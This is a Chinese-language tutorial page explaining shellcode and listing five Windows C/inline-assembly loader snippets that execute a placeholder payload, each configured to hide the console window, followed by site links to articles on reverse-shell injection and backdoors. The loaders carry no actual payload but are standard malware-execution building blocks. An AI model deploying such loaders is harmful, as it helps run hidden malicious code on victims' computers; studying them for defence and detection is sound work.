shellcode执行的几种常见方式

简介: 什么是shellcode?

一、什么是shellcode?

shellcode是一小段代码,用于利用软件漏洞作为有效载荷。它之所以被称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执行类似任务的任何代码都可以被称为shellcode。因为有效载荷(payload)的功能不仅限于生成shell

简单来说:shellcode为16进制的机器码,是一段执行某些动作的机器码

那么,什么是机器码呢?

在百度百科中这样解释道:计算机直接使用的程序语言,其语句就是机器指令码,机器指令码是用于指挥计算机应做的操作和操作数地址的一组二进制数

简单来说:直接指挥计算机的机器指令码


二、shellcode执行的几种常见方式

1、指针执行

最常见的一种加载shellcode的方法,使用指针来执行函数

#include <Windows.h>
#include <stdio.h>
unsigned char buf[] =
"你的shellcode";
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
  ((void(*)(void)) & buf)();
}


2、申请动态内存加载

申请一段动态内存,然后把shellcode放进去,随后强转为一个函数类型指针,最后调用这个函数

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
    char shellcode[] = "你的shellcode";
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
}


3、嵌入汇编加载

注:必须要x86版本的shellcode

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char shellcode[] = "你的shellcode";
void main()
{
  __asm
  {
    mov eax, offset shellcode
    jmp eax
  }
}


4、强制类型转换

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
  ((void(WINAPI*)(void)) & buff)();
}


5、汇编花指令

和方法3差不多

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
  __asm
  {   
    mov eax, offset xff;
    _emit 0xFF;
    _emit 0xE0;
  }
}


以上五种方法就是最常见的shellcode执行方式


目录
相关文章
|
3月前
|
网络协议 API Windows
MASM32v11编程调用Process32First失败: 程序发出命令,但命令长度不正确
MASM32v11编程调用Process32First失败: 程序发出命令,但命令长度不正确
|
安全 Windows
记一次“上传”命令执行的绕过案例
记一次“上传”命令执行的绕过案例
110 0
|
安全 Shell 编译器
1.14 手工插入ShellCode反弹
PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,本次的目标是手工修改或增加节区,并给特定可执行程序插入一段`ShellCode`代码,实现程序运行自动反弹一个Shell会话。
46 2
1.14 手工插入ShellCode反弹
|
存储 安全 Shell
1.6 编写双管道ShellCode后门
本文将介绍如何将`CMD`绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的`ShellCode`后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。
82 0
|
存储 安全 小程序
PE格式:手工给程序插入ShellCode
PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,本次实验的目标是手工修改或增加节区,并给特定可执行程序插入一段ShellCode代码,实现程序运行自动反弹一个Shell会话。
403 0
PE格式:手工给程序插入ShellCode
脚本中调用别的脚本,如何得到执行结果?
脚本中调用别的脚本,如何得到执行结果?
79 0
|
Linux
LINUX下用C调用系统命令,并读取执行结果的代码
LINUX下用C调用系统命令,并读取执行结果的代码
124 0
|
安全 Linux 网络安全
动态Shellcode注入工具 – Shellter
动态Shellcode注入工具 – Shellter
170 0
|
JavaScript 索引
v-for指令的四种使用方式
一、v-for属性 二、四种使用方式代码
|
监控 前端开发 fastjson
webshell内存马的命令执行分析
内存马,也就是无文件格式webshell,检查难度系数很大,运用分布式数据库(apache、mvc这种)去运行恶意程序。适合情景为一些web应用为jar包运行,无网站文件目录、想写文件格式找不着网站文件目录相对路径等。内存马的注入一般搭配反序列化安全漏洞开展运用,如spring反序列化安全漏洞、fastjson反序列化、weblogic反序列化这种;也是有先提交着地文件格式,随后浏览注入内存马的,这类实际上 没有什么必要性,暂时性忽视。
501 0
webshell内存马的命令执行分析